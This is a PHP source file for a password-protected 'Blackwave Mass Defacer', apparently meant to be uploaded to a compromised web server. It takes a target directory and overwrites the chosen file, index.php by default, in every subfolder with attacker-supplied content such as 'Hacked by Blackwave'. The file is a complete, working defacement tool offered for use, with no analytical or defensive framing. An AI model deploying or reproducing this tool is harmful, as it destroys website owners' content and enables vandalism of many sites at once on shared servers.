mass.php

<?php
$pass = "abrar@1337"; /// PUT YOUR PASSWORD HERE
session_start();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<style>
body{cursor:url("http:///foro.elhacker.net/elhacker.cur"),auto;}
body {
    background-image: url(https://i0.wp.com/wrbbradio.org/wp-content/uploads/2016/10/grey-background-07.jpg?fit=2560%2C1544);
    margin-left: 0px;
    margin-top: 0px;
    margin-right: 0px;
    margin-bottom: 0px;
    background-position:right top;
    background-repeat:no-repeat;
    background-size:110%
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256" />
<link rel="shortcut icon" type="image/x-icon" href="https://0.s3.envato.com/files/123602255/Tunisia%20Flag%20590x332.jpg" />
<!-- CSS_ADSBLOCK_START -->
<link rel="stylesheet" href="http://adblockers.opera-mini.net/css_block/default-domainless.css" type="text/css" />
<!-- CSS_ADSBLOCK_END -->
</head>
<body>
<?php
if (!empty($_GET['action']) &&  $_GET['action'] == "logout") {session_destroy();unset ($_SESSION['pass']);}

$path_name = pathinfo($_SERVER['PHP_SELF']);
$this_script = $path_name['basename'];
if (empty($_SESSION['pass'])) {$_SESSION['pass']='';}
if (empty($_POST['pass'])) {$_POST['pass']='';}
if ( $_SESSION['pass']!== $pass)
{
    if ($_POST['pass'] == $pass) {$_SESSION['pass'] = $pass; }
    else
    {
        echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="pass" type="password"><input type="submit"></form>';
        exit;
    }
}

echo "<title>Blackwave Mass Defacer</title>";

echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
echo "<center><form method='POST'>";
echo "<hr color='black'><font color='white'>Target Folder</font><br>";
echo "<input cols='10' rows='10' type='text' style='color:black;background-color:white' name='base_dir' value='".getcwd ()."'><br><br>";
echo "<font color='white'>Name of File</font><br><input cols='5' rows='5' type='text' style='color:black;background-color:white' name='andela' value='index.php'><br>";
echo "<font color='white'>Script Deface</font><br><textarea cols='25' rows='8' style='color:black;background-color:white;background-image:url();' name='index'>Hacked by Blackwave</textarea><br>";
echo "<input type='submit' value='Mass !!!'></form></center>";

if (isset ($_POST['base_dir']))
{
        if (!file_exists ($_POST['base_dir']))
                die ($_POST['base_dir']." Not Found !<br>");

        if (!is_dir ($_POST['base_dir']))
                die ($_POST['base_dir']." Is Not A Directory !<br>");

        @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");

        $files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- <br>");

        foreach ($files as $file):
                if ($file != "." && $file != ".." && @filetype ($file) == "dir")
                {
                        $index = getcwd ()."/".$file."/".$_POST['andela'];
                        if (file_put_contents ($index, $_POST['index']))
                                echo "<hr color='black'>>> <font color='black'>$index&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(&#10003;)</font>";
                }
        endforeach;
}

?>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>

<center><a href="http://www.facebook.com/neo.arfxoui"><font face="Iceland" style="color:#000;text-shadow:0px 1px 5px #000;font-size:20px">Contact Me</font>